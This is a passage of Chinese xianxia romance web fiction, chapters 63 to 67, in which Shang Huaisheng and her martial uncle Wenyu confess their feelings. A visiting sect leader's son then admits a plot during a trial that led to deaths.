问玉一路将她抱回来,镇化山许多人都看到了,也一定会揣测他和商怀笙的关系。 他是不在意这些的,但依商怀笙的性子,他要是逼得紧了,商怀笙可能会真刀真枪地跟他打起来。 问玉的手不自觉地敲着桌子,恢复记忆之后,他似乎掌握了与商怀笙相处的主动权,但这份主动是商怀笙让出来的,她心有愧疚,所以才忍让。 如果她知晓此事与年玉有关,又免不了一场混战,也会把两人的关系推向更复杂的境地。 问玉轻叹一声,心中十分为难,一抬头,对上商怀笙明显带着恼怒的双眸,动作一滞。 “你这人,怎么莫名其妙的,刚才冲进来说要和我成婚,现在又说不必放在心上?你被夺舍了还是一体双魂精神分裂了?” 她差点就要跟元妄提这件事了,结果一回来问玉又变了,耍她呢? 商怀笙心里满是被人戏耍的愤怒,大步走到问玉跟前,揪着他的衣领把他提起来,“赶快出去,别再这里碍我的眼!” “你……”问玉就这么被她提溜起来,震惊之余,他心中冒出一个让他窃喜的念头,他唇角不自觉地扬起,问道,“你很失望?” “我才没有!我是生气,你到我师父面前乱说一通,败坏我的名声,若是我师父因此罚我,我不会放过你的!” 商怀笙拽着他走到门前,作势要开门把他扔出去,却突然听见问玉笑了一声,她转身,问玉眼尾微挑,眼底盛着星子般的笑意,竟一瞬间有些晃人。 商怀笙心头猛地一跳,暗道这张脸真是祸害,不客气地质问道:“你笑什么?” 问玉微微侧身,衣领被她扯开,露出大片白皙的肌肤与新月般的锁骨,他任由商怀笙抓着,俯身时敞开更多的光景,“你要怎么不放过我?” 商怀笙心头猛地一跳,满肚子的火气背着笑意浇熄,只余下一阵发烫的慌张,她咽了下口水,身体像是被什么驱使,等她反应过来时,她的唇已经贴上问玉带着笑意的唇角。 秀色可餐。 商怀笙脑子里冒出这个词,磨蹭着问玉的唇瓣,软得像是在引诱人深陷。 当时是怎么做的来着,好像还有别的亲法。 大脑还在搜索之前的记忆,问玉的手掌已经覆上她的后颈,反客为主,细细啃咬她的下唇,又含着轻轻吮吸。 哦对了,得张嘴。 商怀笙记忆回笼,主动探入问玉的口腔,凭借着不怎么熟悉的记忆缠上他的舌头,带着耐心的摩挲。 问玉的动作明显一滞,耳边的呼吸声变得粗重,他的手掌上移,将商怀笙更紧地圈在怀中,连吻都染上了几分黏腻的缱绻,仿佛要将彼此的气息都揉进骨血中。 两人不知道亲了多久,周围的空气都变得稀薄,问玉一开始还能跟随商怀笙的步调,可这家伙简直不知疲倦,让问玉想起自己当时在囚龙谷被她压到体力不支,偷偷起来吃灵药的回忆。 他主动抽离,双腿发软,撑着商怀笙的肩膀,商怀笙脸颊红扑扑的,目光好半天才聚焦在他脸上,意犹未尽地舔了下唇,“怎么不继续了?” 门外的光变暗许多,商怀笙进来时还未到傍晚,现在天都要黑了。 问玉:“你……我喘不过气来了。” 商怀笙惊讶:“师叔你不会换气吗?” 问玉:“……已经快一个时辰了。” 商怀笙的接吻技巧并没有多么高超,许多还是他们一起在囚龙谷摸索出来的,但是架不住她耐心好而且专注,说亲吻便只是亲吻,流氓似的在他背上乱摸,却也只是为了亲吻。 “这么久了。” 商怀笙盯着问玉有些红肿的唇角,只觉得心口像是被羽毛轻轻挠着,很想再亲上去,又怕他生气。 问玉刚才还是一副意乱情迷的模样,现在已经整理好衣襟,脸上的神色又变得淡然,除了唇角和泛红的耳尖,没有丝毫的异样,他还是那位三山宗弟子景仰敬畏的孤傲师叔。 但旁人不知道,师叔的唇是软的,师叔身上有股茉莉花香。 “商怀笙。”他轻声开口,拉回商怀笙的神志,“为什么亲我?” “……” 商怀笙还在回味,一下子就被吓醒了,被那双深邃的眼眸凝视着,她生出逃走的欲望。 还能为什么?她色欲熏心。 问玉抱起胳膊,眸底情绪翻涌上来,变得炙热,“不喜欢我,却要亲我?商怀笙,谁教你这些?” “因为……师叔的唇看起来很好亲。”索性也逃不掉了,商怀笙正面应敌,坦率直言。 问玉眉心微折,“所以呢?你知不知道,你这是流氓行为?” “你不是喜欢我吗?”商怀笙问。 问玉道:“我喜欢你不代表你可以随便亲我,你不喜欢我却要亲我,这是在践踏玩弄我的感情。只有相互喜欢的人才能亲吻。” “哦……”商怀笙的大脑缓慢地转动,看到问玉眼中隐隐的期待,她突然就明白了问玉的意思,“你是想听我说,我也喜欢你吗?” 问玉一僵,整张脸霎时红透,带着被拆穿之后的窘迫与慌乱。 他抿抿唇,很快又冷静下来,“这次没有药物,我们知晓了彼此的身份,你主动亲我,总要有个理由。” 商怀笙低头看着自己脚尖,脑子里乱成一锅粥:她还没弄清楚问玉为什么喜欢自己,也不知道自己对问玉是什么心思。 但她喜欢问玉的脸,也喜欢和问玉接吻,这些事情她就不会和陆雪青做。 问玉和别的男人不同,等于问玉是特别的。 她喜欢和问玉亲吻,拥抱,睡觉,抛开这些附加条件,就等于,她喜欢问玉。 问玉强装出来的镇定被商怀笙长久的沉默瓦解,他心中漫出几分苦涩,商怀笙是迟钝,但话都已经说到这个份上,她还是要拒绝他,可见是对他半点感情都没有。 早知道刚才就该推开她,或者不说也不问直接离开,也不至于在晚辈面前将自己搞得这样狼狈。商怀笙显然只是见色起意,他这样咄咄逼人想讨一个名分,显得有几分可笑。 “罢了,我也不想这样……” “喜欢。”商怀笙抬起头,抓住他的衣袖,“是因为喜欢你才亲你的,师叔。” “……” 问玉眼尾泛红,唇角却扬起一个愉悦的弧度,“是吗,此话当真?” “当真!”商怀笙抓住他的手,放在自己心口,“我对师叔的真心,日月可鉴。” “咳。”问玉侧过脸,反手与她十指紧扣,“好,那就再信你一次。” 第64章 第六十四章 你也不要再亲我了 在镇化山休养了两天, 商怀笙他们便打道回府了,但九天盛会这场闹剧并没有结束。 九天盛会本还有别的内容,但因为这次境外试炼出现许多意料之外的事情, 太虚殿宣布提前结束, 全力搜救剩下的弟子。 多少弟子抱着交流切磋的心态来,最后却落得尸骨全无,他们所在的师门伤透了心, 日日在日升天阁外闹着。 商怀笙他们这一遭虽然凶险,但好歹都安然无恙,他们不想卷进这场闹剧中,跟太虚殿的人知会一声便早早离开了。 因为手握两件神器,商怀笙名声大噪,养病这两日荔香院外常有徘徊, 打探她的消息, 她出一趟门也能感觉到有无数双眼睛注视着她的, 艳羡的,嫉妒的……还有一些十分怨毒的目光。 这些目光固然令人不适, 但商怀笙并未放在心上, 她现在找到了人生的新乐趣,和问玉打啵。 回来前在荣春小筑的房间里,回来后在三山宗的后山,商怀笙第一次进问玉的房间, 一张桌子一张床, 简单地像个临时居所, 但这也不妨碍两人接吻。 两人在囚龙谷做过更亲密的事情,不过她当时中蛊,意识并不清醒, 也只是循着身体的本能渴求去做,现在正儿八经地接吻,商怀笙才开始后悔当时给问玉喂药害他失忆了。 天杀的,也没人跟她说这种事情那么舒服! 问玉的唇又香又软,胜过她吃过的所有点心,连喘气的声音都格外动听,亲的狠了还会溢出诱人的低吟。 商怀笙最爱看他亲吻之后的模样,嘴唇被吮得发肿泛红,粗重的气息掺着闷哼,一向清明的眼神蒙着水雾,迟缓地聚焦在她脸上,唇角勾出一点笑意。 清冷孤傲如明月的问玉道长,意乱情迷,拥她入怀,低诉情话。 “怀笙,怎么这么爱咬人?”他含着商怀笙的耳垂轻咬,还恶人先告状。 商怀笙反驳道:“是你突然乱动,害我分心。” 问玉的手突然探进她衣摆,商怀笙心一慌,咬破了他唇角。 两人每次亲吻都是半个时辰起步,却没有做过更进一步的事情,因为问玉体力好像不怎么样,在囚龙谷做完,他脸色惨白。 接吻就已经很舒服了,她对其他事情的记忆也比较模糊,问玉不擅长,她也不想他勉强。 商怀笙啄了下问玉唇角,转身去打量问玉房里的布置,两个紧拥在一起的身影分开,怀中温热落空,问玉整理了一下衣裳,盖住突兀之处。 商怀笙似乎不喜欢除亲吻以外的事情,是因为上次的体验不好吗? 那一次之后,商怀笙似乎对亲吻上了瘾,次次都要抱着他亲很久,也或许她只是喜欢跟他接吻,并未想过更进一步? 是喜欢跟他亲吻,还是单纯地喜欢接吻呢? 问玉心底有个疑问,但不敢开口,商怀笙直来直往,说不定会说出什么让人伤心的话来。 “师叔,你的房间也太干净了,怎么什么都没有?显得太冷清。” “只是个睡觉的地方而已,平时也不会来这里。” “所以师叔把我带来这里私会?” “……” 问玉露出无奈的神色,商怀笙经验不多,话本读得不少,口中常常说出一些虎狼之词,从前还叫他问玉道长,现在却偏爱叫他师叔,故意激起他的负罪感来。 商怀笙笑得开怀,从袖中掏出一盆碗莲来,放置到问玉的床前,“我上次来便觉得你屋里太单调了,就把我院子里养的莲花移栽了一盆送你。” 那盆白中透风的小巧碗莲立在床头,带着若有若无的清润香气,碗中的水映着绿叶,连阳光落进来都变得温柔,将这一方死板沉闷的天地变得鲜活起来。 “那多谢你了。”问玉脸上笑意盈盈,来到她身后,捻起她的一缕秀发,“这几日常与你相见,倒忘了正事。” 商怀笙:“啊?我们每天都在做正事啊?” “你今日可有认真修行?” “……” 商怀笙笑容淡了几分,“你说这话真是煞风景,咱们不是在恋爱吗,说这些事情做什么?” “恋爱便能耽误修行了?这话要是被你师父听到了,又暴跳如雷。” “师父若是知道我每日来跟你私会,才是暴跳如雷呢!” 商怀笙转头,亲了亲他的唇角,“我们继续好不好?” 问玉侧过脸,脸上仍是带着笑,“去把我上次教你的剑法练一遍。” 商怀笙努嘴,满脸的不情愿,“你这样,我以后都不来找你了。” 问玉笑道:“那好啊,你也不要再亲我了。” “……” ——可恶啊啊啊!! 商怀笙不甘地招来断龙去练剑,问玉站在檐下望着他,微风吹拂着他的发丝,吹拂着他脸上的黯然神色。 自他回来,还没有见过年玉。他们刚从太虚殿回来,年玉便带人去了南烬沙漠,说是有妖兽作乱。 年玉从前也会亲自去除妖,但问玉总觉得这一次他是故意的,想要避开他。 年玉到底是什么出于什么目的,才会把商怀笙送到他身边? 问玉想得出神,面前的商怀笙忽的停下来,冲他招招手,“我练完了!!” 她张开双手,笑得灿烂,“快看!是不是比上次练得好?” “我没看到,再来一遍吧。” “……你这样我真的不跟你好了!!” 商怀笙掷过来一枚小石子,问玉偏头躲过,笑道:“再来一次,你想亲多久我都随你。亲哪里都可以。” 商怀笙身体晃了晃,显然是心动了,她嘴上念叨着“一言为定啊”,又举起了断龙。 问玉眼中笑意更浓,将心底的不安抛之脑后,专心享受当下——不管年玉出于什么目的,他能遇到商怀笙,是人间至幸。 * 镇化山 天泉医谷撤离时,其他宗门的人都走得差不多了,他们负责此次善后和救助的工作,耽误了许久。 他们一收拾,荔香院便变得冷清起来,站在院门前,原本重视人来人往的道路现在也是空荡荡的,其他院子里也一片安静,没有人影。 “师姐,都清点好了。”同门师妹前来禀报,“陆雪青的东西也都收拾好了。” 南宫汀接过她递来的一个小小包裹,随手放进了储物石中,“那出发吧。” “是。” 师妹应了一声,告知众人,便和她上了同一辆马车,她们此行不直接回去,而是要沿途行医,进行义诊。 进了马车,师妹一改刚才上下属的态度,小声和她闲聊起来,“陆雪青直接去了云月都?他心心念念的那个姑娘,就是这次拿到神皇弓的人吧?早知道应该问问他,说不定还能看一眼神器呢。” “只是一把不起眼的弓箭而已。”南宫汀道。 师妹道:“那也是神器啊!我听说,太虚殿的人本想去找商怀笙商量神器的归属,她手里本就有断龙了,再多一个神器也用不到不是?” “是她拿到的,自然就是她的。” “哎,她能不能守住还不一定呢!师姐你说,她和陆雪青会在一起吗?陆雪青喜欢她这么久,两人又一起去了云月都,如果他俩成了,以后咱们和四水阁就是亲家了……” “或许吧。” 师妹话太密,南宫汀闭上眼睛,封闭感官,不时点点头,实则已经睡去。 * 太虚殿,云灯洞 侯之点亮周围的宫灯,昏黄的光晕撞开黑暗,将洞中的轮廓一点点晕染出来,空气中散发着潮湿的土腥气,混着一股说不清的古怪气味,随着火光晃动,岩壁上凹凸的纹路显形,像是某种古老的咒文。 陆雪青的视线往前落,山洞中空间不大,洞中央的石床占据了大部分的空间,床身约有半米高,石台边缘刻满了和周围石壁上差不多的咒文,台面被磨得光滑。 石床的中央,静静地躺着一个人形的东西,陆雪青定睛望去,心头一颤——那是个少年男性的尸体,看身量应该在一米七左右,尸体身形舒展,双手交叠在腹部,皮肤竟还透着几分活人般的莹润。 若不是他的胸膛毫无起伏,任谁看了都会以为他只不过是在此处小憩,随时都会睁开眼睛。 “这是你母亲离开宗门前救治的最后一个病人。” 陆雪青随着侯之上前,想要看清楚那人的脸,可他的脸上似乎施了什么幻术,像被一层雾笼罩着,怎么也看不清。 侯之说:“他得了失魂之症,你母亲用归元鬼针帮他固住了魂魄,还没开始进行治疗,你母亲便离开了,他便一直留在这里,成了活死人。” 说话间,陆雪青听到身后传来脚步声,他转过身,看到一个身着黑袍的高大男人走过来,全身都被笼罩着,像笼罩在阴影中,只露出一双阴鸷的眼睛。 “他是我在世上唯一的亲人。” 黑袍人开口,沙哑而又威严的声音,让陆雪青认出了他便是在九天盛会开始前致辞的太虚殿宗主,太轩。 这个修仙界第一大门派的宗主,在他面前缓缓低下头,用虔诚地,近乎乞求的语调对他说:“请你救救他。” 第65章 第六十五章 山雪 腊月寒冬, 和神山下了一场小雪,山间绿意被薄雪覆盖,树枝坠着细碎雪粒, 风一吹便簌簌落下。 修行之后, 商怀笙对寒冷和炎热的感知便没有还是凡人时那么敏感了,但她还是喜欢在下雪时搬一张躺椅,烤着火炉, 和秦湫一起在檐下赏雪。 “吕悠这次种的药橘实在是酸,橘子是橘子,药草是药草,为何偏要杂交到一起?” 元妄被橘子酸的面目狰狞,咬了一口便扔到一边。 秦湫喜酸口,也被酸得微微蹙眉, 嚼了两口便咽下, “嗯, 确实是酸,怀笙, 这个你别吃了。” 商怀笙正要往嘴里送, 见两人这副模样,便把手里的药橘扔到了炉子上,“那我不吃了。” “我煮了南瓜山药粥,还做了些糯米雪花糍, 待会儿你拿来吃。”秦湫打量着她的脸色, 语气中有几分担忧, “你从太虚殿回来后,胃口似乎小了许多,是不是累着了?” “没有啊……” 商怀笙笑了笑, 不敢说话,不是她胃口小了,是这段时间问玉也在研究吃的,她每日吃饱了才回来,自然吃不下更多。 对面的元妄翻了个白眼,“说不定是在外偷吃了。” 商怀笙一下子坐的僵直,给元妄使眼色,求他别说了,元妄眉头微挑,用口型无声地说:“那你自己说。” 她还没告诉秦湫自己跟问玉的事情,丰宝他们都看出她和问玉的关系不一般,但很默契地没有开口追问。 毕竟这件事说起来太扯了,宋良白的徒弟和年玉的弟弟,商怀笙和问玉,两个人的名字上一次出现在一起还是在和神山大打出手。 眼下知道的只有宋良白和元妄,宋良白从镇化山回来后便不知道忙什么去了,整日闭门不出,也许是被他俩的事情刺激到了。元妄则是自己看出来的,俩人天天亲得嘴都肿了,他再看不出来,都对不起他那丰富的情史。 商怀笙做贼心虚,元妄问了两句,她便全盘托出,元妄听后沉默许久,最终也只是淡淡地说了一句,“你喜欢就好,旁人怎么说并不重要。” 元妄不喜问玉,甚至说四水阁上下对于问玉都是敬畏,纵使他长着那样一张俊美的脸,四水阁弟子也是谈之色变。 元妄的反应超出商怀预料的平静,她以为元妄会极力反对,因为在镇化山问玉不分青红皂白以为元妄和她同谋,将元妄教育了一番,商怀笙心有戚戚。 现在的元妄给她一种“累了,行,就这样,不想管了”的感觉,商怀笙有些担心秦湫的态度,如果秦湫反对的话……商怀笙会很为难。 她现在很喜欢问玉,但又不想做让师姐生气伤心的事情。 商怀笙想得出神,雪下的更大了,白雪覆盖了庭院,商怀笙用法术将落雪凝成蝴蝶,翩然落在秦湫的外袍上,秦湫笑着掸去,“都成年了,玩心还这样重。” “好久没下雪了。” 商怀笙看向元妄,一个眼神元妄便懂了她的意思,摆手道:“我可不跟你打雪仗,你搓的雪团那么大一个,差点把我的腰给砸断了。” “那是以前我不会控制力道,我现在进步了!” 元妄连连摇头:“你去找丰宝他们玩吧,我年纪大了,玩不动了。” 说曹操曹操到,元妄话音刚落,外面便传来一阵嬉闹声,一个白花花的雪团从院子外飞来,不偏不倚砸在元妄的脚边。 “怀笙!出来玩啊!” 丰宝跳进来,看到元妄脚下的积雪,浸湿的衣角,脸上笑容一僵,单脚跳了出去,身影唰的消失在门口。 院外传来小声催促:“你干什么呢?怎么出来了?” “师叔在呢!”丰宝道,“我不小心砸到了他的衣裳。” “啊?你居然弄脏元师叔的衣裳!” “你要完蛋了!” 元妄拔高音调,“我可都听见了!” 秦湫眼中盛满温柔的笑意,对商怀笙道:“去玩吧。” 怀笙点点头,一溜烟跑出去,被丰宝几人团团围住。 “怎么样,元师叔没生气吧?” “没有,放心好了!” “这里地方小,咱们去和神山吧。” “走走走——!” 声音渐行渐远,院子里也变得寂静,元妄与秦湫同坐无言,静静地注视着眼前的飘雪。 雪越下越大,鹅毛似的纷纷扬扬,逐渐将视线变成一片纯白。 秦湫将手放在烤炉边,开口道:“怀笙是不是和问玉师叔……?” 元妄轻轻嗯了一声,颇有些不满,“他记忆恢复了,刚开始还争锋相对,不知道怎么就将怀笙骗了过去。” 秦湫道:“怀笙从小就喜欢长相秾丽美艳的,他顶着那张脸,轻易就能将怀笙勾过去。” 元妄愤懑道:“他自己没点数吗?怀笙才多大!狐媚!” 秦湫轻笑一下,“你从前不也勾搭过年轻的女修?” “那、那不一样……”元妄支支吾吾了半天,也没说出个差别来,气势也弱了许多,“我现在不会那样了,已经许久不沾花惹草。” 秦湫揶揄道:“是啊,就算没有新的,这十几年来也频频有旧债找上门来。” 元妄垂首,“只恨我自己没能给怀笙做个表率……唉,师叔的容貌在修仙界也是数一数二,从前修无情道,也是洁身自好,没有那些乱七八糟的风流债,可是说到底,我还是会介怀那件事。” “以玉重塑肉身后,师叔变了许多,容貌和性格都与从前大不相同了,我有时候会怀疑,师叔还是不是从前那个师叔。” 秦湫道:“管他是陈问还是问玉,怀笙认识他时,他已经是问玉了,怀笙不知道从前的陈问,她现在喜欢的是问玉。” 元妄蹙眉,眼底闪过异样的情绪,小声呢喃道:“果真吗?” 雪簌簌落下,将他的声音掩埋。 * 商怀笙玩得起劲,一堆人在雪中滚来滚去,将和神山弄得乱七八糟,沾了灵力的雪团变得轻快迅速,像箭矢一样追着丰宝跑,他绕着树,一边躲避一边回击。 “这不公平,你怎么都追着我一个打?!” 丰宝袖袍一挥,头顶的积雪瞬间掀起,化作漫天雪雾,沙巧惊呼着躲到商怀笙身后,指尖凝聚灵力,将碎雪牵引出来,聚成十余个拳头大小的雪球,悬在商怀笙身前排成列。 “看招!!”她将雪球对准丰宝,冲着血雾袭去。 “我挡——!” 丰宝在半空中凝出护盾,将雪球全部反弹回来,小炮弹一样冲着几人袭来。 商怀笙跳着躲开,“屏障都用上了!这么认真!” 雪砸在几人衣服上,瞬间炸开,清脆的笑声混着风雪声在山间回荡,笑声正盛时,不远处忽然传来一个突兀的中年男声,“哎呀”一声,陌生的声音骤然打破了此刻的欢笑。 “爹,你没事吧?” 这个声音有点耳熟,商怀笙几人安静下来,丰宝撤去雪雾,看清来人后,众人倒吸一口冷气。 凌云头上顶着一个破碎的雪球,脸上牵出勉强的笑意,摆手道:“没事,没事。” 这样的雪天,凌盛一袭红衣格外扎,他面露不快之色,微挑的眼尾如淬雪的锋刃,扫过众人的脸颊,让原本不怎么寒冷的雪天生出几分凉意。 许久不见,他似乎憔悴许多,眼神虽锋利,但持续没多久便没了气势,眉眼间都透着一股疲惫。 “他怎么会来这里?”丰宝小声嘟囔一句。 沙巧反应片刻,立即迎上去,带着歉意的笑容,“凌宗主,实在抱歉,没有注意到您。” “无碍。”凌云慈爱地笑着,“是我们唐突,打扰诸位了。” 凌云和他儿子简直是一个天上一个地下,谁能想到这样一个慈爱的长辈会养出一个喜欢用鼻孔看人的家伙? 他这样一说,商怀笙几人反倒有些不好意思,凌云拂去脑袋上的雪,目光定格在商怀笙的脸上,“商姑娘,正巧,凌某此行便是来拜访您的。” 商怀笙左右看看,周围除了她也没旁人姓商,“我?” 凌云点点头,眼尾笑出褶皱,他扯了扯一旁冷脸的凌盛,道:“境外试炼中,多亏有姑娘相助,我特地携小儿来向姑娘致谢。” 凌盛没说话,背上挨了一巴掌,才不情不愿地扭过头来,道:“是,是来向你致谢的。” 商怀笙:“?” * 宋良白闭门不出,是高明叶接待了二人。 凌云说是道谢,便真的拉了两大马车的东西来,小到古玩字画,大到奇珍异宝,好几个箱子都装得满满当当,看得商怀笙目瞪口呆。 同样是一宗之主,宋良白怎么没这么多钱财宝贝,他们每次下山都过得抠抠搜搜的。 高明叶也是第一次遇到这种情况,表露出为难的神色,“凌宗主,这太贵重了。” 凌云笑道:“若不是商姑娘,小儿说不定无法走出长眠海,这些都是些寻常的物件,不成敬意。” 高明叶道:“怀笙她一心修行,用不着这些。” 话音未落,商怀笙便看向了他,脸上虽然没什么表情起伏,但心里已经在呐喊,“我需要!我需要!” 凌云哂笑一下,目光扫过凌盛,道:“其实不止这些,凌某此行除了来感谢商姑娘,还有一事想与宋宗主商议,敢问送宗主身在何处?” “师父闭关中,凌宗主可与我商议。”高明叶道。 凌云笑道:“婚姻大事,只怕需要宋宗主来定夺。” 商怀笙:“嗯?” 凌盛慌张地叫了一声,“爹——!” 凌云道:“不知道商姑娘是否婚配……” 他话没说完,只听“砰——”的一声,外面的寒风灌进来,吹得人睁不开眼睛,商怀笙正想着门去哪了,便见一块黑色木板飞过半空,砸在了凌云的脚下。 一个身影缓步走进来,携着冷峻寒风,站在商怀笙面前,“这些事,你与我商议即可。” 第66章 第六十六章 教训一下她 高明叶惊起, 手中的茶泼洒出来,“师叔,您怎么来了?” “陈兄, 许久不见。” 凌云定定地看着眼前来人, 在商怀笙的视角下,他的半张脸被木板挡住,只留一双眼睛, 不同于高明叶的震惊与慌乱,他的眼睛里反而有种狡黠的笑意。 问玉脸色阴沉,许是从他的笑中猜出了什么,微微有些恼怒,用法术将木门放了回去,同时也擦干了高明叶泼出的茶水。 “听说凌宗主大驾光临, 有失远迎。” 他的客套中有几分咬牙切齿的意味, 商怀笙的目光从两人身上扫过, 依稀记得他们关系不错。 “我是来拜访商姑娘的。”凌云玩味地笑道,“三山宗和四水阁离得那样远, 难为陈兄还想着我, 专程过来-趟,真叫我感动。” “雪路难行,凌宗主千里迢迢从凌枫院赶来,这般真诚, 真叫人惶恐。 问玉已经平复了心情, 两人你来我往唇枪舌剑, 看得围观的三人个个都不明所以。 高明叶站在两人中间,不知道该不该开口劝一劝,两人都话里有话, 阴阳怪气的,但是氛围也没有那样剑拔弩张,反倒是凌云一直带着笑容,像是好友间的互相调侃。 “爹……”凌盛开口,打断了二人的对话,看了一凌云一眼,他眼神中有对凌云这种幼稚行为的无奈,又转头对问玉道,“见过问玉道长。” 问玉轻点了下头,“雪路难行,二位辛苦。” 说罢,他对高明叶道:“你先去忙吧。” “是。” 高明叶下意识地应着,走出房门才意识到这里是四水阁的地界,他怎么就这么听了问玉的话? 房门已经关上,高明叶也不好再闯进去,思索良久,转身去了宋良白的住处。 这些天不只是宋良白闭门不出,四水阁也一直闭门谢客。 九天盛会后大家都在关注境外试炼那些无辜殒命的弟子,看上去并没有人在意商怀笙,但神皇弓出世,必然会引起轩然大波。 商怀笙手中已有神器断龙,器主只会选择更高阶的灵器,断龙与神皇弓同为神器,且断龙之威力远大于神皇弓,故而大家都觉得商怀笙不会再留下神皇弓。 那这神皇弓究竟何去何从,变成了眼下整个修真界都在关注的问题。 自商怀笙回来,来自各个门派的拜帖和请帖就没有断过,少说也有三四百封,无一例外都被宋良白回绝了,后来干脆闭门谢客,不再接收拜帖——这些商怀笙并不知情。 听到执勤弟子通报凌云来访,高明叶本是想向以前一样拒绝的,但他知道凌云与宋良白三人交好,尤其与问玉是生死之交,犹豫之后,通传师父,将凌云放了进来,却不想这么快就惊动了问玉。 外面还下着雪,凌云带着他的宝贝儿子千里迢迢赶过来,还说了那样一番话,高明叶总觉得事情没那么简单。 * 高明叶走后,屋内的氛围便变得奇怪起来,问玉在商怀笙身侧坐下,凌盛坐在二人对面,凌云独坐主位。 沉静许久,凌云从座位上起来,道:“叫我一人坐在那里,实在是惶恐。” “现在知道惶恐了?”问玉瞥一眼屋里的几个大箱子,道,“说吧,你来究竟是为了什么?” 凌云坐到问玉对面,全然没了刚才高明叶在时的拘束,笑道,“我不是说了吗?是谢礼,还有……” “你若再敢说是聘礼,就滚出去。” 当着凌盛的面,问玉丝毫不给他面子。 凌盛蹙起眉头,表情很是不爽,“你怎么能这样跟我父亲讲话?” 问玉面无表情地说,“你也可以滚。” 凌盛:“你——” 凌云完全没有被冒犯到,抬手挡在凌盛胸前,“盛儿,不得无礼。” “是他先无礼的!” “盛儿!” “……” 凌盛憋着一肚子的气,狠狠地坐了下去。 见他吃瘪,商怀笙有些想笑,但当着老子的面笑儿子实属有些不礼貌,她便低头将笑意憋了回去。 “都说为人父母后便会成熟许多,的确。”问玉感叹一声,态度也变得端正起来,“不胡闹了,这里是三山宗的地方,我不宜久留,说正事吧。” 凌云也收敛了性子,语气严肃起来,“首先,我真的是来感谢商姑娘的。” 他朝商怀笙笑笑,商怀笙也回他一个笑容,“举手之劳而已。” “其次,便是来认错的。”他招招手,“盛儿,你来说。” 刚才就在生闷气的凌盛脸色更加难看,在凌云的催促下抬起头来,慢吞吞地来到商怀笙面前,弯下腰向她鞠了一躬,“商姑娘,抱歉。” 商怀笙吓得跳了起来,“你你你你你干什么?想让我折寿?” 凌盛嘴巴一抿,五官都有些扭曲,“我是来道歉的,我、我和李迎灯密谋,在境外试炼的时候给你点教训。” 商怀笙:“什么?” 凌盛垂着头,几乎看不到他脸上的表情,但能从他的语气中听出他的心虚和懊悔,“束神石像的出现并非偶然,李迎灯不知从哪里得知了唤醒束神石像的咒语,以血为祭,召出了本该在长眠海地底的束神石像。” 他的声音开始颤抖,“李迎灯提前追踪了你的位置,一开始只是想用束神石像给你一点教训,但是石像的实力超出我们的预期,所以才导致了那样的情况发生……” 商怀笙听得头晕,渐渐从他的话中明白过来,“你的意思是,这些伤亡本来可以避免的?” “……是,一开始真的只是想教训你一下,我们没有想到,那么多悟道期修士,都没能……”他的声音越来越小,头也几乎低到胸前。 凌云的脸色也无比的凝重,他知道凌盛在这次境外试炼中做了错事,所以这些时间一直寝食难安,所以他才提出带他来致歉,却不想事情远比他预想中要严重得多。 商怀笙脸色的血色瞬间褪得一干二净,原本平淡的眼神骤然凛冽,一股难以遏制的怒火从胸腔深处猛地窜起。 她不清楚死了多少人,也不认识他们,甚至连名字都没有听过,但她知道他们走了多远的路,苦修多少个日夜,才能走到九天盛会的赛场……可他们就那样死了,因为李迎灯他们所谓的“教训一下她”。 她想直接开口质问,却不知道该说些什么,喉咙里像是被什么东西堵住,只能发出细碎的气音,“你们……” 商怀笙还没开口,凌云已经跨步上前,带着雷霆之势的一巴掌狠狠甩在凌盛的脸上,“啪”的一声在空气里炸开,力道之大让凌盛一个踉跄。 凌盛捂着脸,不可置信地看着凌云,似乎不相信他会打自己,可是触及凌云眼中的怒火,他又心虚愧疚地低下头去。 “这么大的事情,你居然现在才讲?!”凌云大口喘着粗气,“那可是十几条无辜的人命!你知道我在罗生镜中看到的时候,有多害怕你会出现在尸体里面吗?” “孩儿知错了,爹,你带我去太虚殿领罚,或是怎么样都好。”凌盛眼眶里蓄着泪水,强忍着不肯落下,“这些日子想到那些人惨死在我面前,我夜夜无法安眠。” “你要是能睡得好那才是真的狼心狗肺!”凌云气得直咬牙,抬起胳膊,巴掌将落未落,眼中愤怒与心疼交织。 “行了。”问玉将他的胳膊按下去,“事已至此,说这些已经没什么意义了,李迎灯是从何得知唤醒束神石像的方法的?” 问玉直击问题核心,凌盛愣了愣,想了许久,才缓缓道:“去年的时候,他告诉我他的得到一本古籍,记载许多失传的秘法,上面还有他们天机阁秘术盖羽飞甲的制作方式,也许他就是在那本古籍上知道的。” 盖羽飞甲? 问玉与商怀笙对视一眼,不约而同地想到了当时断龙误伤金田的事情。 盖羽飞甲,李迎灯,束神石像…… 连同许多之前发生的事情,似乎在产生着什么关联,却缺少一条线将它们串联在一起。 * 大雪封路,凌云与凌盛宿在了三山宗。 积雪映着窗户透出的光亮,将周围的一切都照亮,凌盛夜里睡得很不安稳,频频惊醒,凌云在他枕下放了张安神符,待他气息平稳了才离开。 书房的灯亮着,问玉坐在案前,案上放着一张没有字的信纸,纸面洁白干净,边缘却已经卷曲泛黄,似乎已经放了许久。 “盛儿睡下了。”凌云的声音里透着浓浓的疲惫,“我真没想到,会是这种情况。” 他来时只当是小事,还有闲心和问玉开玩笑,却不想自己的孩子差点害得问玉死在长眠海。 “李迎灯是主谋。”问玉道,“你打算怎么办?要去告知太虚殿吗?” “李华常必定会拼死保下李迎灯的,况且只凭盛儿的一面之词,不知道他们会不会信。”凌云道。 “还有何穆竹与何朝兰。”问玉神色黯然,“不过这种事情,一旦公之于众,他们的名声便毁了,说不定还会招来仇恨,他们未必会一同指证。” 凌云痛心不已,“是我一味纵容溺爱,才会酿下大错。” “知错能改,凌盛本性不坏,只是交了错误的朋友。”问玉轻叹一声,“我会去找李迎灯的,除了这件事,我还有别的事情要问他。” 凌云顿了顿,道,“那个商姑娘便是你口中所说的女子吧,倒是出乎意料,我还以为你会孤身一世。” 问玉勾了勾唇,神色在烛光下显得异常温柔,“遇到她之前,我也是这样想的。” “噫,真是肉麻。”凌云调侃一句,笑容转瞬即逝,“你之前不是问过我关于盖羽飞甲的事情?李迎灯手里的那本古籍,你可有头绪?” 问玉低头看着那张空白的纸,道:“有一些,但还需要查证。” 第67章 第六十七章 要出门? 雪下了一夜, 第二日太阳便出来了,远远地在天上挂着,阳光不算热烈, 但是照在身上也让人觉得暖洋洋的。 四水阁弟子自发在山路扫雪, 虽然一个融雪咒便能解决,但和伙伴一起扫雪时嬉闹带来的欢乐是一般的咒语无法带来的。 商怀笙拜师以来,也就遇到过五六次这样的大雪, 